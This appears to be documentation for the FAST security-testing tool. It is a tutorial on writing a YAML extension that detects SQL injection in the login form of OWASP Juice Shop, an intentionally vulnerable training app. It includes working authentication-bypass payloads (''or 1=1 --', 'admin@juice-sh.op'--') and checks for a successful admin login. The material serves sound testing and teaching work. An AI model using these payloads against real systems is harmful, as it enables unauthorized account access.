Example of the FAST Extension
We are using the vulnerable web application OWASP Juice Shop to demonstrate the capabilities of the FAST extensions mechanism.
This application can be deployed in multiple ways (for example, using Docker, Node.JS, or Vagrant).
To see the OWASP Juice Shop documentation that lists the vulnerabilities that are embedded into it, proceed to the following link.
Working with a vulnerable application
We suggest you avoid providing the host that the OWASP Juice Shop runs on with internet access or real data (for example, logins and passwords). This guide uses the OWASP Juice Shop instance that is located on the ojs.example.local
domain for demonstration purposes.
The Preliminary Application Inspection
To successfully construct FAST extensions, you need to understand the operation mechanism of the web application or API that you need to test for vulnerabilities (the internal architecture of the application or API, request and response formats, the logic of exception handling, and so on).
Let us perform an inspection of the OWASP Juice Shop application to detect any potential vulnerabilities.
To do this, proceed to the login page (http://ojs.example.local/#/login
) using a browser, enter the '
symbol into the “Email” field and the 12345
password into the “Password” field, and press the “Log in” button. With the help of the browser's web developer tools or Wireshark traffic capturing software, we can figure out that using the apostrophe symbol in the “Email” field causes an internal error in the server.
After analyzing all of the information from the request to the server, we can come to the following conclusions:
- The REST API method
POST /rest/user/login
is called upon trying to log in. The credentials for logging in are transferred to this API method in JSON format as shown below.
{ "email": "'", "password": "12345" }
After analyzing all of the information from the server's response, we can come to the conclusion that the 'email' and 'password' values are used in the following SQL query:
SELECT * FROM Users WHERE email = ''' AND password = '827ccb0eea8a706c4c34a16891f84e7b'
Thus, we can assume that the OWASP Juice Shop could be vulnerable to SQL injection attacks through the login form.
Exploiting the SQLi vulnerability
Exploiting the SQLi vulnerability.
The official documentation exploits the SQL vulnerability by passing the 'or 1=1 --
email and any password into the login form.
After this attack you will be able to use the administrator's user profile.
Alternatively, you can use the payload that contains the web application administrator's email as the email
field value (the password
field may contain any value).
{
"email": "admin@juice-sh.op'--",
"password": "12345"
}
To understand how to detect the case of a successful vulnerability exploitation, log in to the site using the administrator's user profile with the email and password values mentioned above. Intercept the API server's response using the Wireshark application.
- The HTTP status of the response:
200 OK
(in the case of an issue during login, the server will respond with the401 Unauthorized
status). The server's response in JSON format that informs about a successful authentication:
{ "authentication": { "token": "some long token", # token value is unimportant "bid": 1, # user's shopping cart identifier "umail": "admin@juice-sh.op" # user's email address in the umail parameter } }
The Creation of a FAST Extension to Test the Login Form for Vulnerabilities
Preliminary Setup:
Create a directory to put the created extension in later. Create a file that describes the extension in this directory. For example, my-extension.yaml
.
Constructing an Extension:
The
meta-info
section.Prepare the description of the vulnerability that the extension will try to detect.
- vulnerability header:
OWASP Juice Shop SQLi
- vulnerability description:
Demo of SQLi in OWASP Juice Shop (Admin Login)
- vulnerability type: SQL injection
- vulnerability threat level: high
The corresponding
meta-info
section should look as follows:meta-info: - type: sqli - threat: 80 - title: 'OWASP Juice Shop SQLi' - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
- vulnerability header:
The
collect
section, the Collect phase.The REST API
POST /rest/user/login
method is called upon trying to log in.There is no need to create tests for each of the baseline requests for logging in that were sent to the API as the testing for vulnerabilities will be performed the same way for each piece of data passed in the POST request.
Set up the extension so that it executes once when the API receives the request for logging in. To do so, add the Collect phase with the uniqueness condition to the extension.
The
/rest/user/login
request to the API for logging in consists of the following elements:- The first part of the path with the
rest
value - The second part of the path with the
user
value - The
login
action method
The corresponding points that refer to these values are the following:
PATH_0_value
for the first part of the pathPATH_1_value
for the second part of the pathACTION_NAME_value
for thelogin
action-method
If you add the condition that the combination of these three elements must be unique, then the extension will only run for the first
/rest/user/login
baseline request to the API (such request will be treated as unique, and all of the following requests to the API for logging in will not be unique).Add the corresponding
collect
section to the extension.collect: - uniq: - [PATH_0_value, PATH_1_value, ACTION_NAME_value]
- The first part of the path with the
The
match
section, the Match phase.We need to check whether the baseline request that was sent to the extension is the request to the API for logging in, because the extension we are creating will exploit the vulnerabilities that the login form contains.
Set up the extension so that it only runs for the following URI:
/rest/user/login
. Add the Match phase that checks whether the received request contains the required elements. This can be done using the followingmatch
section:match: - PATH_0_value: 'rest' - PATH_1_value: 'user' - ACTION_NAME_value: 'login'
The
modify
section, the Modify phase.Let us suggest that it is required to modify the baseline request to reach the following goals:
- To clear the
Accept-Language
HTTP header value (its value is inessential for vulnerability detection). - To replace the initial values of the
email
andpassword
parameters with neutraldummy
values.
Add to the extension the following
modify
section that alters the request to meet the goals described above:modify: - "HEADER_ACCEPT-LANGUAGE_value": "" - "POST_JSON_DOC_HASH_email_value": "dummy" - "POST_JSON_DOC_HASH_password_value": "dummy"
Request elements description syntax
Because the request data that is contained in the JSON format is stored in
<key: value>
pairs, the point that refers to theemail
element value will be as shown above. The point that refers to thepassword
element value has a similar structure.To see detailed information about constructing the points, proceed to this link.
- To clear the
The
generate
section, the Generate phase.It is known that there are two payloads that should replace the value of the
email
parameter in the baseline request in order to perform the SQL injection vulnerability exploitation.'or 1=1 --
admin@juice-sh.op'--
Inserting the payload into the modified request
The payload will be inserted into the previously modified request, because the extension contains the
modify
section. Thus, after inserting the first payload into theemail
field, the test request data should look as follows:{ "email": "'or 1=1 --", "password":"dummy" }
Because any password can be used to log in successfully due to the chosen payloads, it is not necessary to insert the payload into the password field, which will have a
dummy
value after the Modify phase is applied.Add the
generate
section that will create the test request that meets the requirements discussed above.generate: - payload: - "'or 1=1 --" - "admin@juice-sh.op'--" - into: "POST_JSON_DOC_HASH_email_value" - method: - replace
The
detect
section, the Detect phase.The following conditions indicate that the user authentication with administrator's rights was successful:
The presence of the shopping cart identifier parameter with the
1
value in the response body. The parameter in the JSON format in the response body should look the following way:"bid":1
The presence of the user email parameter with the
admin@juice-sh.op
value in the response body. The parameter in the JSON format in the response body should look the following way:"umail":"admin@juice-sh.op"
Add the
detect
section to the extension, which checks whether the attack was successful according to the conditions described above.detect: - response: - body: "\"umail\":\"admin@juice-sh.op\"" - body: "\"bid\":1"
The final extension my-extension.yaml
with all of its sections looks as follows:
meta-info:
- type: sqli
- threat: 80
- title: 'OWASP Juice Shop SQLi'
- description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
- tags:
- OWASP Juice Shop
- SQL Injection
collect:
- uniq:
- [PATH_0_value, PATH_1_value, ACTION_NAME_value]
match:
- PATH_0_value: 'rest'
- PATH_1_value: 'user'
- ACTION_NAME_value: 'login'
modify:
- "HEADER_ACCEPT-LANGUAGE_value": ""
- "POST_JSON_DOC_HASH_email_value": "dummy"
- "POST_JSON_DOC_HASH_password_value": "dummy"
generate:
- payload:
- "'or 1=1 --"
- "admin@juice-sh.op'--"
- into: "POST_JSON_DOC_HASH_email_value"
- method:
- replace
detect:
- response:
- body: "\"umail\":\"admin@juice-sh.op\""
- body: "\"bid\":1"
To see detailed information using the created expression, proceed to the next chapter.